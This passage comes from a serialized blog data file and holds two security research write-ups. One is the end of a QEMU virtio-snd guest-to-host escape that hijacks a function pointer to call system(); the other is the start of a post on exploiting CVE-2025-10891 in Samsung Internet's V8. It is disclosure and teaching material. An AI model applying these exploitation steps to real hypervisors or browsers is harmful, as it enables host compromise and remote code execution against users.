5,"tag":271,"props":143993,"children":143994},{"style":13598},[143995],{"type":30,"value":143996},"vring",{"type":25,"tag":271,"props":143998,"children":143999},{"style":13625},[144000],{"type":30,"value":1860},{"type":25,"tag":271,"props":144002,"children":144003},{"style":13598},[144004],{"type":30,"value":144005},"desc",{"type":25,"tag":271,"props":144007,"children":144008},{"style":13603},[144009],{"type":30,"value":27306},{"type":25,"tag":271,"props":144011,"children":144012},{"style":13598},[144013],{"type":30,"value":144014}," vq",{"type":25,"tag":271,"props":144016,"children":144017},{"style":13625},[144018],{"type":30,"value":14411},{"type":25,"tag":271,"props":144020,"children":144021},{"style":13598},[144022],{"type":30,"value":144023},"handle_output",{"type":25,"tag":271,"props":144025,"children":144026},{"style":13625},[144027],{"type":30,"value":27925},{"type":25,"tag":271,"props":144029,"children":144030},{"class":13593,"line":14391},[144031,144036,144040,144045,144049,144053,144057,144061],{"type":25,"tag":271,"props":144032,"children":144033},{"style":13625},[144034],{"type":30,"value":144035},"        VirtIODevice ",{"type":25,"tag":271,"props":144037,"children":144038},{"style":13603},[144039],{"type":30,"value":17702},{"type":25,"tag":271,"props":144041,"children":144042},{"style":13625},[144043],{"type":30,"value":144044},"vdev ",{"type":25,"tag":271,"props":144046,"children":144047},{"style":13603},[144048],{"type":30,"value":1065},{"type":25,"tag":271,"props":144050,"children":144051},{"style":13598},[144052],{"type":30,"value":144014},{"type":25,"tag":271,"props":144054,"children":144055},{"style":13625},[144056],{"type":30,"value":14411},{"type":25,"tag":271,"props":144058,"children":144059},{"style":13598},[144060],{"type":30,"value":136298},{"type":25,"tag":271,"props":144062,"children":144063},{"style":13625},[144064],{"type":30,"value":16165},{"type":25,"tag":271,"props":144066,"children":144067},{"class":13593,"line":14400},[144068],{"type":25,"tag":271,"props":144069,"children":144070},{"emptyLinePlaceholder":18},[144071],{"type":30,"value":16829},{"type":25,"tag":271,"props":144073,"children":144074},{"class":13593,"line":16406},[144075],{"type":25,"tag":271,"props":144076,"children":144077},{"style":13625},[144078],{"type":30,"value":136479},{"type":25,"tag":271,"props":144080,"children":144081},{"class":13593,"line":16434},[144082],{"type":25,"tag":271,"props":144083,"children":144084},{"emptyLinePlaceholder":18},[144085],{"type":30,"value":16829},{"type":25,"tag":271,"props":144087,"children":144088},{"class":13593,"line":16447},[144089,144094,144098,144102],{"type":25,"tag":271,"props":144090,"children":144091},{"style":13598},[144092],{"type":30,"value":144093},"        vq",{"type":25,"tag":271,"props":144095,"children":144096},{"style":13625},[144097],{"type":30,"value":14411},{"type":25,"tag":271,"props":144099,"children":144100},{"style":13620},[144101],{"type":30,"value":144023},{"type":25,"tag":271,"props":144103,"children":144104},{"style":13625},[144105],{"type":30,"value":144106},"(vdev, vq);\n",{"type":25,"tag":271,"props":144108,"children":144109},{"class":13593,"line":16465},[144110],{"type":25,"tag":271,"props":144111,"children":144112},{"emptyLinePlaceholder":18},[144113],{"type":30,"value":16829},{"type":25,"tag":271,"props":144115,"children":144116},{"class":13593,"line":16486},[144117],{"type":25,"tag":271,"props":144118,"children":144119},{"style":13625},[144120],{"type":30,"value":136479},{"type":25,"tag":271,"props":144122,"children":144123},{"class":13593,"line":16495},[144124],{"type":25,"tag":271,"props":144125,"children":144126},{"style":13625},[144127],{"type":30,"value":16501},{"type":25,"tag":271,"props":144129,"children":144130},{"class":13593,"line":16744},[144131],{"type":25,"tag":271,"props":144132,"children":144133},{"style":13625},[144134],{"type":30,"value":17058},{"type":25,"tag":26,"props":144136,"children":144137},{},[144138,144140,144145,144147,144152,144154,144160,144162,144167,144168,144173,144175,144180],{"type":30,"value":144139},"This means that if we free the known-address chunk and replace it with a ",{"type":25,"tag":264,"props":144141,"children":144143},{"className":144142},[],[144144],{"type":30,"value":136965},{"type":30,"value":144146}," - which is straightforward, since we control the buffer allocation size through the ",{"type":25,"tag":264,"props":144148,"children":144150},{"className":144149},[],[144151],{"type":30,"value":136553},{"type":30,"value":144153}," iovec - we can use the arbitrary read primitive to read its ",{"type":25,"tag":264,"props":144155,"children":144157},{"className":144156},[],[144158],{"type":30,"value":144159},".vq",{"type":30,"value":144161}," pointer, then follow that pointer to leak ",{"type":25,"tag":264,"props":144163,"children":144165},{"className":144164},[],[144166],{"type":30,"value":143915},{"type":30,"value":29175},{"type":25,"tag":264,"props":144169,"children":144171},{"className":144170},[],[144172],{"type":30,"value":143817},{"type":30,"value":144174}," structure. In our case, that field points to ",{"type":25,"tag":264,"props":144176,"children":144178},{"className":144177},[],[144179],{"type":30,"value":136205},{"type":30,"value":144181},", which gives us QEMU's base address.",{"type":25,"tag":26,"props":144183,"children":144184},{},[144185,144187,144193],{"type":30,"value":144186},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":25,"tag":264,"props":144188,"children":144190},{"className":144189},[],[144191],{"type":30,"value":144192},"system",{"type":30,"value":1860},{"type":25,"tag":247,"props":144195,"children":144197},{"id":144196},"rip-control",[144198],{"type":30,"value":144199},"RIP Control",{"type":25,"tag":26,"props":144201,"children":144202},{},[144203,144205,144210,144212,144218],{"type":30,"value":144204},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":25,"tag":264,"props":144206,"children":144208},{"className":144207},[],[144209],{"type":30,"value":144192},{"type":30,"value":144211},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":25,"tag":264,"props":144213,"children":144215},{"className":144214},[],[144216],{"type":30,"value":144217},"VirtQueue.handle_output",{"type":30,"value":1860},{"type":25,"tag":26,"props":144220,"children":144221},{},[144222,144224,144229,144231,144236,144238,144243],{"type":30,"value":144223},"We overwrite ",{"type":25,"tag":264,"props":144225,"children":144227},{"className":144226},[],[144228],{"type":30,"value":143915},{"type":30,"value":144230}," with the address of ",{"type":25,"tag":264,"props":144232,"children":144234},{"className":144233},[],[144235],{"type":30,"value":144192},{"type":30,"value":144237}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":25,"tag":264,"props":144239,"children":144241},{"className":144240},[],[144242],{"type":30,"value":143923},{"type":30,"value":144244}," with the address of that command string, so it is passed as the first argument.",{"type":25,"tag":26,"props":144246,"children":144247},{},[144248,144250,144256,144258,144264,144266,144272],{"type":30,"value":144249},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":25,"tag":264,"props":144251,"children":144253},{"className":144252},[],[144254],{"type":30,"value":144255},"virtio_queue_notify_vq",{"type":30,"value":144257},", which calls ",{"type":25,"tag":264,"props":144259,"children":144261},{"className":144260},[],[144262],{"type":30,"value":144263},"vq->handle_output(vq->vdev)",{"type":30,"value":144265}," - or, after our overwrites, ",{"type":25,"tag":264,"props":144267,"children":144269},{"className":144268},[],[144270],{"type":30,"value":144271},"system(command)",{"type":30,"value":1860},{"type":25,"tag":26,"props":144274,"children":144275},{},[144276,144278,144284,144286],{"type":30,"value":144277},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":25,"tag":264,"props":144279,"children":144281},{"className":144280},[],[144282],{"type":30,"value":144283},"gnome-calculator",{"type":30,"value":144285}," on the host system:\n",{"type":25,"tag":14098,"props":144287,"children":144288},{},[],{"type":25,"tag":144290,"props":144291,"children":144300},"tweet-card",{"author-name":144292,"date":144293,"duration":144294,"handle":144295,"media-mime-type":144296,"media-src":144297,"media-type":144298,"tweet-url":144299},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[144301,144306,144311],{"type":25,"tag":26,"props":144302,"children":144303},{},[144304],{"type":30,"value":144305},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":25,"tag":26,"props":144307,"children":144308},{},[144309],{"type":30,"value":144310},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":25,"tag":26,"props":144312,"children":144313},{},[144314],{"type":30,"value":144315},"Writeup coming next week.",{"type":25,"tag":14098,"props":144317,"children":144318},{},[],{"type":25,"tag":26,"props":144320,"children":144321},{},[144322,144324,144330,144332,144338],{"type":30,"value":144323},"The final exploit, targeting QEMU commit ",{"type":25,"tag":264,"props":144325,"children":144327},{"className":144326},[],[144328],{"type":30,"value":144329},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":30,"value":144331}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":25,"tag":83,"props":144333,"children":144336},{"href":144334,"rel":144335},"https://github.com/otter-sec/qemu-escape",[9066],[144337],{"type":30,"value":60700},{"type":30,"value":1860},{"type":25,"tag":26,"props":144340,"children":144341},{},[144342,144344,144351],{"type":30,"value":144343},"Special thanks to ",{"type":25,"tag":83,"props":144345,"children":144348},{"href":144346,"rel":144347},"https://www.willsroot.io/",[9066],[144349],{"type":30,"value":144350},"William Liu",{"type":30,"value":144352}," for proofreading this post and helping us polish it before publication.",{"type":25,"tag":96,"props":144354,"children":144355},{"id":42044},[144356],{"type":30,"value":32068},{"type":25,"tag":26,"props":144358,"children":144359},{},[144360],{"type":30,"value":144361},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":25,"tag":26,"props":144363,"children":144364},{},[144365],{"type":30,"value":144366},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":25,"tag":15963,"props":144368,"children":144369},{},[144370],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":144372},[144373,144376,144379,144388],{"id":136101,"depth":11641,"text":136114,"children":144374},[144375],{"id":136122,"depth":14354,"text":136125},{"id":136146,"depth":11641,"text":136149,"children":144377},[144378],{"id":136160,"depth":14354,"text":136160},{"id":113202,"depth":11641,"text":113205,"children":144380},[144381,144382,144383,144384,144385,144386,144387],{"id":138752,"depth":14354,"text":138755},{"id":140279,"depth":14354,"text":140282},{"id":141073,"depth":14354,"text":141076},{"id":141478,"depth":14354,"text":141481},{"id":141694,"depth":14354,"text":141697},{"id":141900,"depth":14354,"text":141903},{"id":144196,"depth":14354,"text":144199},{"id":42044,"depth":11641,"text":32068},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":144393,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":144394,"description":144395,"date":144396,"author":144397,"image":144400,"isFeatured":18,"onBlogPage":18,"tags":144402,"body":144405,"_type":16004,"_id":154313,"_source":16006,"_file":154314,"_stem":154315,"_extension":16009},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[136097,144398,144399],"jamie","william",{"src":144401,"width":16,"height":17},"/posts/mobile-renderer-rce/title.png",[144403,144404],"RCE","mobile",{"type":22,"children":144406,"toc":154293},[144407,144411,144416,144430,144436,144450,144471,144479,144492,144500,144513,144519,144532,144546,144552,144566,144669,144674,144682,144687,144692,144713,144791,144799,144818,144831,144837,144843,144857,144973,144978,144983,144991,144996,145004,145032,145061,145073,145249,145254,145262,145281,145294,145300,145320,145334,145339,145344,145372,145408,145477,145483,145505,145510,145518,145531,145536,145544,145549,145588,145594,145607,145612,145790,145800,145808,145828,145852,145865,145871,145876,146518,146523,146531,146573,148562,148567,148575,148581,148614,148632,148802,148860,148885,148979,148984,149775,149780,149788,149799,151843,151848,151856,151862,151884,151898,151911,151923,151953,151958,152399,152427,152534,152551,152708,152713,152725,153021,153047,153070,153202,153214,153219,153371,153407,153420,153425,153547,153588,153665,153670,154244,154250,154262,154275,154279,154284,154289],{"type":25,"tag":96,"props":144408,"children":144409},{"id":42127},[144410],{"type":30,"value":42130},{"type":25,"tag":26,"props":144412,"children":144413},{},[144414],{"type":30,"value":144415},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":25,"tag":26,"props":144417,"children":144418},{},[144419,144421,144428],{"type":30,"value":144420},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":25,"tag":83,"props":144422,"children":144425},{"href":144423,"rel":144424},"https://cor.team",[9066],[144426],{"type":30,"value":144427},"Crusaders of Rust",{"type":30,"value":144429}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":25,"tag":247,"props":144431,"children":144433},{"id":144432},"finding-the-v8-version",[144434],{"type":30,"value":144435},"Finding the V8 Version",{"type":25,"tag":26,"props":144437,"children":144438},{},[144439,144441,144448],{"type":30,"value":144440},"We started by pulling Samsung Internet's APK from the device over ",{"type":25,"tag":83,"props":144442,"children":144445},{"href":144443,"rel":144444},"https://developer.android.com/tools/adb",[9066],[144446],{"type":30,"value":144447},"adb",{"type":30,"value":144449}," and inspecting the libraries it shipped with.",{"type":25,"tag":26,"props":144451,"children":144452},{},[144453,144455,144461,144463,144469],{"type":30,"value":144454},"After extracting the APK, we searched the ",{"type":25,"tag":264,"props":144456,"children":144458},{"className":144457},[],[144459],{"type":30,"value":144460},"lib/",{"type":30,"value":144462}," directory for ",{"type":25,"tag":264,"props":144464,"children":144466},{"className":144465},[],[144467],{"type":30,"value":144468},"v8::*",{"type":30,"value":144470}," symbols:",{"type":25,"tag":7764,"props":144472,"children":144474},{"code":144473},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[144475],{"type":25,"tag":264,"props":144476,"children":144477},{"__ignoreMap":7},[144478],{"type":30,"value":144473},{"type":25,"tag":26,"props":144480,"children":144481},{},[144482,144484,144490],{"type":30,"value":144483},"Only one file matched our search: ",{"type":25,"tag":264,"props":144485,"children":144487},{"className":144486},[],[144488],{"type":30,"value":144489},"libterrace.so",{"type":30,"value":144491},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":25,"tag":26,"props":144493,"children":144494},{},[144495],{"type":25,"tag":698,"props":144496,"children":144499},{"alt":144497,"src":144498},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":25,"tag":26,"props":144501,"children":144502},{},[144503,144505,144511],{"type":30,"value":144504},"Surprisingly, this ",{"type":25,"tag":264,"props":144506,"children":144508},{"className":144507},[],[144509],{"type":30,"value":144510},"13.6.233.10",{"type":30,"value":144512}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":25,"tag":247,"props":144514,"children":144516},{"id":144515},"choosing-the-bug",[144517],{"type":30,"value":144518},"Choosing the Bug",{"type":25,"tag":26,"props":144520,"children":144521},{},[144522,144524,144530],{"type":30,"value":144523},"We were able to trigger a couple of bugs on our locally compiled ",{"type":25,"tag":264,"props":144525,"children":144527},{"className":144526},[],[144528],{"type":30,"value":144529},"d8",{"type":30,"value":144531}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":25,"tag":26,"props":144533,"children":144534},{},[144535,144537,144544],{"type":30,"value":144536},"Another one was ",{"type":25,"tag":83,"props":144538,"children":144541},{"href":144539,"rel":144540},"https://issuetracker.google.com/issues/443875388",[9066],[144542],{"type":30,"value":144543},"CVE-2025-10891",{"type":30,"value":144545}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":25,"tag":96,"props":144547,"children":144549},{"id":144548},"ignition-bytecode-introduction",[144550],{"type":30,"value":144551},"Ignition Bytecode Introduction",{"type":25,"tag":26,"props":144553,"children":144554},{},[144555,144557,144564],{"type":30,"value":144556},"V8 initially compiles all JS code to a bytecode format with the ",{"type":25,"tag":83,"props":144558,"children":144561},{"href":144559,"rel":144560},"https://v8.dev/blog/ignition-interpreter",[9066],[144562],{"type":30,"value":144563},"Ignition",{"type":30,"value":144565}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":25,"tag":7764,"props":144567,"children":144569},{"code":144568,"language":44477,"meta":7,"className":44475,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[144570],{"type":25,"tag":264,"props":144571,"children":144572},{"__ignoreMap":7},[144573,144596,144620,144644],{"type":25,"tag":271,"props":144574,"children":144575},{"class":13593,"line":13594},[144576,144580,144584,144588,144592],{"type":25,"tag":271,"props":144577,"children":144578},{"style":14289},[144579],{"type":30,"value":24912},{"type":25,"tag":271,"props":144581,"children":144582},{"style":13598},[144583],{"type":30,"value":102948},{"type":25,"tag":271,"props":144585,"children":144586},{"style":13603},[144587],{"type":30,"value":16155},{"type":25,"tag":271,"props":144589,"children":144590},{"style":16187},[144591],{"type":30,"value":17654},{"type":25,"tag":271,"props":144593,"children":144594},{"style":13625},[144595],{"type":30,"value":16165},{"type":25,"tag":271,"props":144597,"children":144598},{"class":13593,"line":11641},[144599,144603,144607,144611,144616],{"type":25,"tag":271,"props":144600,"children":144601},{"style":14289},[144602],{"type":30,"value":24912},{"type":25,"tag":271,"props":144604,"children":144605},{"style":13598},[144606],{"type":30,"value":103822},{"type":25,"tag":271,"props":144608,"children":144609},{"style":13603},[144610],{"type":30,"value":16155},{"type":25,"tag":271,"props":144612,"children":144613},{"style":16187},[144614],{"type":30,"value":144615}," 0x0fff",{"type":25,"tag":271,"props":144617,"children":144618},{"style":13625},[144619],{"type":30,"value":16165},{"type":25,"tag":271,"props":144621,"children":144622},{"class":13593,"line":14354},[144623,144627,144631,144635,144640],{"type":25,"tag":271,"props":144624,"children":144625},{"style":14289},[144626],{"type":30,"value":24912},{"type":25,"tag":271,"props":144628,"children":144629},{"style":13598},[144630],{"type":30,"value":50556},{"type":25,"tag":271,"props":144632,"children":144633},{"style":13603},[144634],{"type":30,"value":16155},{"type":25,"tag":271,"props":144636,"children":144637},{"style":16187},[144638],{"type":30,"value":144639}," 0x0fffffff",{"type":25,"tag":271,"props":144641,"children":144642},{"style":13625},[144643],{"type":30,"value":16165},{"type":25,"tag":271,"props":144645,"children":144646},{"class":13593,"line":14391},[144647,144651,144656,144660,144665],{"type":25,"tag":271,"props":144648,"children":144649},{"style":14289},[144650],{"type":30,"value":24912},{"type":25,"tag":271,"props":144652,"children":144653},{"style":13598},[144654],{"type":30,"value":144655}," d",{"type":25,"tag":271,"props":144657,"children":144658},{"style":13603},[144659],{"type":30,"value":16155},{"type":25,"tag":271,"props":144661,"children":144662},{"style":16187},[144663],{"type":30,"value":144664}," 0xffffffff",{"type":25,"tag":271,"props":144666,"children":144667},{"style":13625},[144668],{"type":30,"value":16165},{"type":25,"tag":26,"props":144670,"children":144671},{},[144672],{"type":30,"value":144673},"compiles to",{"type":25,"tag":7764,"props":144675,"children":144677},{"code":144676}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[144678],{"type":25,"tag":264,"props":144679,"children":144680},{"__ignoreMap":7},[144681],{"type":30,"value":144676},{"type":25,"tag":26,"props":144683,"children":144684},{},[144685],{"type":30,"value":144686},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":25,"tag":247,"props":144688,"children":144690},{"id":144689},"cve-2025-10891",[144691],{"type":30,"value":144543},{"type":25,"tag":26,"props":144693,"children":144694},{},[144695,144697,144703,144705,144711],{"type":30,"value":144696},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":25,"tag":264,"props":144698,"children":144700},{"className":144699},[],[144701],{"type":30,"value":144702},"[start, end) => handler",{"type":30,"value":144704}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":25,"tag":264,"props":144706,"children":144708},{"className":144707},[],[144709],{"type":30,"value":144710},"handler",{"type":30,"value":144712}," is jumped to.",{"type":25,"tag":7764,"props":144714,"children":144716},{"code":144715,"language":44477,"meta":7,"className":44475,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[144717],{"type":25,"tag":264,"props":144718,"children":144719},{"__ignoreMap":7},[144720,144731,144746,144761,144784],{"type":25,"tag":271,"props":144721,"children":144722},{"class":13593,"line":13594},[144723,144727],{"type":25,"tag":271,"props":144724,"children":144725},{"style":16171},[144726],{"type":30,"value":61447},{"type":25,"tag":271,"props":144728,"children":144729},{"style":13625},[144730],{"type":30,"value":16431},{"type":25,"tag":271,"props":144732,"children":144733},{"class":13593,"line":11641},[144734,144738,144742],{"type":25,"tag":271,"props":144735,"children":144736},{"style":16171},[144737],{"type":30,"value":48313},{"type":25,"tag":271,"props":144739,"children":144740},{"style":16187},[144741],{"type":30,"value":17654},{"type":25,"tag":271,"props":144743,"children":144744},{"style":13625},[144745],{"type":30,"value":16165},{"type":25,"tag":271,"props":144747,"children":144748},{"class":13593,"line":14354},[144749,144753,144757],{"type":25,"tag":271,"props":144750,"children":144751},{"style":13625},[144752],{"type":30,"value":59989},{"type":25,"tag":271,"props":144754,"children":144755},{"style":16171},[144756],{"type":30,"value":61527},{"type":25,"tag":271,"props":144758,"children":144759},{"style":13625},[144760],{"type":30,"value":16431},{"type":25,"tag":271,"props":144762,"children":144763},{"class":13593,"line":14391},[144764,144768,144772,144776,144780],{"type":25,"tag":271,"props":144765,"children":144766},{"style":14289},[144767],{"type":30,"value":20977},{"type":25,"tag":271,"props":144769,"children":144770},{"style":13598},[144771],{"type":30,"value":103822},{"type":25,"tag":271,"props":144773,"children":144774},{"style":13603},[144775],{"type":30,"value":16155},{"type":25,"tag":271,"props":144777,"children":144778},{"style":16187},[144779],{"type":30,"value":21056},{"type":25,"tag":271,"props":144781,"children":144782},{"style":13625},[144783],{"type":30,"value":16165},{"type":25,"tag":271,"props":144785,"children":144786},{"class":13593,"line":14400},[144787],{"type":25,"tag":271,"props":144788,"children":144789},{"style":13625},[144790],{"type":30,"value":17058},{"type":25,"tag":7764,"props":144792,"children":144794},{"code":144793}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[144795],{"type":25,"tag":264,"props":144796,"children":144797},{"__ignoreMap":7},[144798],{"type":30,"value":144793},{"type":25,"tag":26,"props":144800,"children":144801},{},[144802,144804,144809,144811,144816],{"type":30,"value":144803},"However, the ",{"type":25,"tag":264,"props":144805,"children":144807},{"className":144806},[],[144808],{"type":30,"value":144710},{"type":30,"value":144810}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":25,"tag":264,"props":144812,"children":144814},{"className":144813},[],[144815],{"type":30,"value":61527},{"type":30,"value":144817}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":25,"tag":26,"props":144819,"children":144820},{},[144821,144823,144829],{"type":30,"value":144822},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":25,"tag":264,"props":144824,"children":144826},{"className":144825},[],[144827],{"type":30,"value":144828},"yield*",{"type":30,"value":144830}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":25,"tag":96,"props":144832,"children":144834},{"id":144833},"exploitation",[144835],{"type":30,"value":144836},"Exploitation",{"type":25,"tag":247,"props":144838,"children":144840},{"id":144839},"constant-smuggling",[144841],{"type":30,"value":144842},"Constant Smuggling",{"type":25,"tag":26,"props":144844,"children":144845},{},[144846,144848,144855],{"type":30,"value":144847},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":25,"tag":83,"props":144849,"children":144852},{"href":144850,"rel":144851},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[9066],[144853],{"type":30,"value":144854},"technique",{"type":30,"value":144856}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":25,"tag":7764,"props":144858,"children":144860},{"code":144859,"language":44477,"meta":7,"className":44475,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[144861],{"type":25,"tag":264,"props":144862,"children":144863},{"__ignoreMap":7},[144864,144892,144919,144946],{"type":25,"tag":271,"props":144865,"children":144866},{"class":13593,"line":13594},[144867,144871,144875,144879,144883,144888],{"type":25,"tag":271,"props":144868,"children":144869},{"style":14289},[144870],{"type":30,"value":24912},{"type":25,"tag":271,"props":144872,"children":144873},{"style":13598},[144874],{"type":30,"value":102948},{"type":25,"tag":271,"props":144876,"children":144877},{"style":13603},[144878],{"type":30,"value":16155},{"type":25,"tag":271,"props":144880,"children":144881},{"style":13603},[144882],{"type":30,"value":64371},{"type":25,"tag":271,"props":144884,"children":144885},{"style":16187},[144886],{"type":30,"value":144887},"9.255963134931783e61",{"type":25,"tag":271,"props":144889,"children":144890},{"style":13625},[144891],{"type":30,"value":16165},{"type":25,"tag":271,"props":144893,"children":144894},{"class":13593,"line":11641},[144895,144899,144903,144907,144911,144915],{"type":25,"tag":271,"props":144896,"children":144897},{"style":14289},[144898],{"type":30,"value":24912},{"type":25,"tag":271,"props":144900,"children":144901},{"style":13598},[144902],{"type":30,"value":103822},{"type":25,"tag":271,"props":144904,"children":144905},{"style":13603},[144906],{"type":30,"value":16155},{"type":25,"tag":271,"props":144908,"children":144909},{"style":13603},[144910],{"type":30,"value":64371},{"type":25,"tag":271,"props":144912,"children":144913},{"style":16187},[144914],{"type":30,"value":144887},{"type":25,"tag":271,"props":144916,"children":144917},{"style":13625},[144918],{"type":30,"value":16165},{"type":25,"tag":271,"props":144920,"children":144921},{"class":13593,"line":14354},[144922,144926,144930,144934,144938,144942],{"type":25,"tag":271,"props":144923,"children":144924},{"style":14289},[144925],{"type":30,"value":24912},{"type":25,"tag":271,"props":144927,"children":144928},{"style":13598},[144929],{"type":30,"value":50556},{"type":25,"tag":271,"props":144931,"children":144932},{"style":13603},[144933],{"type":30,"value":16155},{"type":25,"tag":271,"props":144935,"children":144936},{"style":13603},[144937],{"type":30,"value":64371},{"type":25,"tag":271,"props":144939,"children":144940},{"style":16187},[144941],{"type":30,"value":144887},{"type":25,"tag":271,"props":144943,"children":144944},{"style":13625},[144945],{"type":30,"value":16165},{"type":25,"tag":271,"props":144947,"children":144948},{"class":13593,"line":14391},[144949,144953,144957,144961,144965,144969],{"type":25,"tag":271,"props":144950,"children":144951},{"style":14289},[144952],{"type":30,"value":24912},{"type":25,"tag":271,"props":144954,"children":144955},{"style":13598},[144956],{"type":30,"value":144655},{"type":25,"tag":271,"props":144958,"children":144959},{"style":13603},[144960],{"type":30,"value":16155},{"type":25,"tag":271,"props":144962,"children":144963},{"style":13603},[144964],{"type":30,"value":64371},{"type":25,"tag":271,"props":144966,"children":144967},{"style":16187},[144968],{"type":30,"value":144887},{"type":25,"tag":271,"props":144970,"children":144971},{"style":13625},[144972],{"type":30,"value":16165},{"type":25,"tag":26,"props":144974,"children":144975},{},[144976],{"type":30,"value":144977},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":25,"tag":26,"props":144979,"children":144980},{},[144981],{"type":30,"value":144982},"We'll use a similar principle here, although much more limited. With",{"type":25,"tag":7764,"props":144984,"children":144986},{"code":144985},"let a = 0x0693bebe;\n",[144987],{"type":25,"tag":264,"props":144988,"children":144989},{"__ignoreMap":7},[144990],{"type":30,"value":144985},{"type":25,"tag":26,"props":144992,"children":144993},{},[144994],{"type":30,"value":144995},"We will compile the bytecode:",{"type":25,"tag":7764,"props":144997,"children":144999},{"code":144998},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[145000],{"type":25,"tag":264,"props":145001,"children":145002},{"__ignoreMap":7},[145003],{"type":30,"value":144998},{"type":25,"tag":26,"props":145005,"children":145006},{},[145007,145009,145015,145017,145023,145024,145030],{"type":30,"value":145008},"We can then jump to the 3rd byte (",{"type":25,"tag":264,"props":145010,"children":145012},{"className":145011},[],[145013],{"type":30,"value":145014},"0xbe",{"type":30,"value":145016},"), and gain 2 controlled bytes of execution, followed by ",{"type":25,"tag":264,"props":145018,"children":145020},{"className":145019},[],[145021],{"type":30,"value":145022},"0x93 0x02 - 